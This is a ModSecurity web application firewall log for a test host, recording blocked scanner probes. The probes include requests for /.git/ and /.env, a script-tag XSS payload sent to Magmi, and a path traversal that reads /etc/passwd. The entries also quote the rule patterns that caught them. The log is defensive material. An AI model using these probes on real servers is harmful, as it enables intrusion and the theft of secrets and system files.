[Wed Sep 06 03:20:17.076140 2023] [:error] [pid 1685945] [client 171.67.70.233:56236] [client 171.67.70.233] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPfT0bTPS6-ceyBGo_5kkQAAAAM&quot;]
[Wed Sep 06 03:20:17.076451 2023] [:error] [pid 1685945] [client 171.67.70.233:56236] [client 171.67.70.233] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPfT0bTPS6-ceyBGo_5kkQAAAAM&quot;]
[Wed Sep 06 03:20:19.974459 2023] [:error] [pid 1685943] [client 171.67.70.233:43820] [client 171.67.70.233] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPfT0wox8oJoWbfj4dDS4gAAAAE&quot;]
[Wed Sep 06 03:20:19.974864 2023] [:error] [pid 1685943] [client 171.67.70.233:43820] [client 171.67.70.233] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPfT0wox8oJoWbfj4dDS4gAAAAE&quot;]
[Wed Sep 06 03:20:19.975065 2023] [:error] [pid 1685943] [client 171.67.70.233:43820] [client 171.67.70.233] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPfT0wox8oJoWbfj4dDS4gAAAAE&quot;]
[Wed Sep 06 06:41:38.697278 2023] [:error] [pid 1685944] [client 171.67.70.233:44546] [client 171.67.70.233] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPgDAsKfuXCymIK6FmqQugAAAAI&quot;]
[Wed Sep 06 06:41:38.699360 2023] [:error] [pid 1685944] [client 171.67.70.233:44546] [client 171.67.70.233] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPgDAsKfuXCymIK6FmqQugAAAAI&quot;]
[Wed Sep 06 06:41:38.699582 2023] [:error] [pid 1685944] [client 171.67.70.233:44546] [client 171.67.70.233] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPgDAsKfuXCymIK6FmqQugAAAAI&quot;]
[Wed Sep 06 06:42:33.476399 2023] [:error] [pid 1685942] [client 171.67.70.233:40288] [client 171.67.70.233] ModSecurity: Warning. Matched phrase &quot;zgrab&quot; at REQUEST_HEADERS:User-Agent. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf&quot;] [line &quot;55&quot;] [id &quot;913100&quot;] [msg &quot;Found User-Agent associated with security scanner&quot;] [data &quot;Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-reputation-scanner&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/AUTOMATION/SECURITY_SCANNER&quot;] [tag &quot;WASCTC/WASC-21&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPgDOScBgQoh2jBQa0qQwAAAAAA&quot;]
[Wed Sep 06 06:42:33.476843 2023] [:error] [pid 1685942] [client 171.67.70.233:40288] [client 171.67.70.233] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPgDOScBgQoh2jBQa0qQwAAAAAA&quot;]
[Wed Sep 06 06:42:33.477032 2023] [:error] [pid 1685942] [client 171.67.70.233:40288] [client 171.67.70.233] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;ZPgDOScBgQoh2jBQa0qQwAAAAAA&quot;]
[Wed Sep 06 18:49:46.398319 2023] [:error] [pid 1706048] [client 36.71.218.207:54903] [client 36.71.218.207] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;ZPitqhDYqRzJtDI5ratE7AAAAA0&quot;]
[Wed Sep 06 18:49:46.399787 2023] [:error] [pid 1706048] [client 36.71.218.207:54903] [client 36.71.218.207] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;ZPitqhDYqRzJtDI5ratE7AAAAA0&quot;]
[Wed Sep 06 18:49:46.399976 2023] [:error] [pid 1706048] [client 36.71.218.207:54903] [client 36.71.218.207] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;ZPitqhDYqRzJtDI5ratE7AAAAA0&quot;]
[Wed Sep 06 18:49:46.924698 2023] [:error] [pid 1706102] [client 36.71.218.207:58752] [client 36.71.218.207] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZPitqvPKZ5IgA_-lC1wpFgAAAAo&quot;]
[Wed Sep 06 18:49:46.924922 2023] [:error] [pid 1706102] [client 36.71.218.207:58752] [client 36.71.218.207] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZPitqvPKZ5IgA_-lC1wpFgAAAAo&quot;]
[Wed Sep 06 18:49:46.925090 2023] [:error] [pid 1706102] [client 36.71.218.207:58752] [client 36.71.218.207] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZPitqvPKZ5IgA_-lC1wpFgAAAAo&quot;]
[Tue Sep 12 00:27:55.454120 2023] [:error] [pid 1793795] [client 207.180.201.25:54628] [client 207.180.201.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZP-UazvuxtZbdPg1jhA7tgAAAAM&quot;]
[Tue Sep 12 00:27:55.458147 2023] [:error] [pid 1793795] [client 207.180.201.25:54628] [client 207.180.201.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZP-UazvuxtZbdPg1jhA7tgAAAAM&quot;]
[Tue Sep 12 00:27:55.458344 2023] [:error] [pid 1793795] [client 207.180.201.25:54628] [client 207.180.201.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZP-UazvuxtZbdPg1jhA7tgAAAAM&quot;]
[Tue Sep 12 18:44:45.157136 2023] [:error] [pid 1804267] [client 35.91.77.239:7812] [client 35.91.77.239] ModSecurity: Warning. detected XSS using libinjection. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;59&quot;] [id &quot;941100&quot;] [msg &quot;XSS Attack Detected via libinjection&quot;] [data &quot;Matched Data: XSS data found within ARGS:profile: &lt;/script&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/magmi.php&quot;] [unique_id &quot;ZQCVfbhgM1mrgTN7zF21QgAAAAo&quot;]
[Tue Sep 12 18:44:45.158931 2023] [:error] [pid 1804267] [client 35.91.77.239:7812] [client 35.91.77.239] ModSecurity: Warning. Pattern match &quot;(?i)&lt;script[^&gt;]*&gt;[\\\\s\\\\S]*?&quot; at ARGS:profile. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;90&quot;] [id &quot;941110&quot;] [msg &quot;XSS Filter - Category 1: Script Tag Vector&quot;] [data &quot;Matched Data: &lt;script&gt; found within ARGS:profile: &lt;/script&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/magmi.php&quot;] [unique_id &quot;ZQCVfbhgM1mrgTN7zF21QgAAAAo&quot;]
[Tue Sep 12 18:44:45.159053 2023] [:error] [pid 1804267] [client 35.91.77.239:7812] [client 35.91.77.239] ModSecurity: Warning. Pattern match &quot;(?i:(?:&lt;\\\\w[\\\\s\\\\S]*[\\\\s\\\\/]|[&#039;\\&quot;](?:[\\\\s\\\\S]*[\\\\s\\\\/])?)(?:on(?:d(?:e(?:vice(?:(?:orienta|mo)tion|proximity|found|light)|livery(?:success|error)|activate)|r(?:ag(?:e(?:n(?:ter|d)|xit)|(?:gestur|leav)e|start|drop|over)|op)|i(?:s(?:c(?:hargingtimechange ...&quot; at ARGS:profile. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;218&quot;] [id &quot;941160&quot;] [msg &quot;NoScript XSS InjectionChecker: HTML Injection&quot;] [data &quot;Matched Data: &lt;/script found within ARGS:profile: &lt;/script&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [tag &quot;WASCTC/WASC-8&quot;] [tag &quot;WASCTC/WASC-22&quot;] [tag &quot;OWASP_TOP_10/A3&quot;] [tag &quot;OWASP_AppSensor/IE1&quot;] [tag &quot;CAPEC-242&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/magmi.php&quot;] [unique_id &quot;ZQCVfbhgM1mrgTN7zF21QgAAAAo&quot;]
[Tue Sep 12 18:44:45.159463 2023] [:error] [pid 1804267] [client 35.91.77.239:7812] [client 35.91.77.239] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/magmi.php&quot;] [unique_id &quot;ZQCVfbhgM1mrgTN7zF21QgAAAAo&quot;]
[Tue Sep 12 18:44:45.159641 2023] [:error] [pid 1804267] [client 35.91.77.239:7812] [client 35.91.77.239] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=15,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/magmi.php&quot;] [unique_id &quot;ZQCVfbhgM1mrgTN7zF21QgAAAAo&quot;]
[Tue Sep 12 18:44:45.457551 2023] [:error] [pid 1804943] [client 35.91.77.239:7868] [client 35.91.77.239] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&amp;plugintype=utilities&amp;pluginclass=CustomSQLUtility&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/ajax_pluginconf.php&quot;] [unique_id &quot;ZQCVfUHCu4IUL-MQOEg-JgAAABI&quot;]
[Tue Sep 12 18:44:45.457626 2023] [:error] [pid 1804943] [client 35.91.77.239:7868] [client 35.91.77.239] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&amp;plugintype=utilities&amp;pluginclass=CustomSQLUtility&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/ajax_pluginconf.php&quot;] [unique_id &quot;ZQCVfUHCu4IUL-MQOEg-JgAAABI&quot;]
[Tue Sep 12 18:44:45.457662 2023] [:error] [pid 1804943] [client 35.91.77.239:7868] [client 35.91.77.239] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&amp;plugintype=utilities&amp;pluginclass=customsqlutility&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/ajax_pluginconf.php&quot;] [unique_id &quot;ZQCVfUHCu4IUL-MQOEg-JgAAABI&quot;]
[Tue Sep 12 18:44:45.457737 2023] [:error] [pid 1804943] [client 35.91.77.239:7868] [client 35.91.77.239] ModSecurity: Warning. Matched phrase &quot;etc/passwd&quot; at ARGS:file. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;96&quot;] [id &quot;930120&quot;] [msg &quot;OS File Access Attempt&quot;] [data &quot;Matched Data: etc/passwd found within ARGS:file: ../../../../../../../../../../../etc/passwd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/ajax_pluginconf.php&quot;] [unique_id &quot;ZQCVfUHCu4IUL-MQOEg-JgAAABI&quot;]
[Tue Sep 12 18:44:45.457890 2023] [:error] [pid 1804943] [client 35.91.77.239:7868] [client 35.91.77.239] ModSecurity: Warning. Matched phrase &quot;etc/passwd&quot; at ARGS:file. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;509&quot;] [id &quot;932160&quot;] [msg &quot;Remote Command Execution: Unix Shell Code Found&quot;] [data &quot;Matched Data: etc/passwd found within ARGS:file: ../../../../../../../../../../../etc/passwd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/magmi/web/ajax_pluginconf.php&quot;] [unique_id 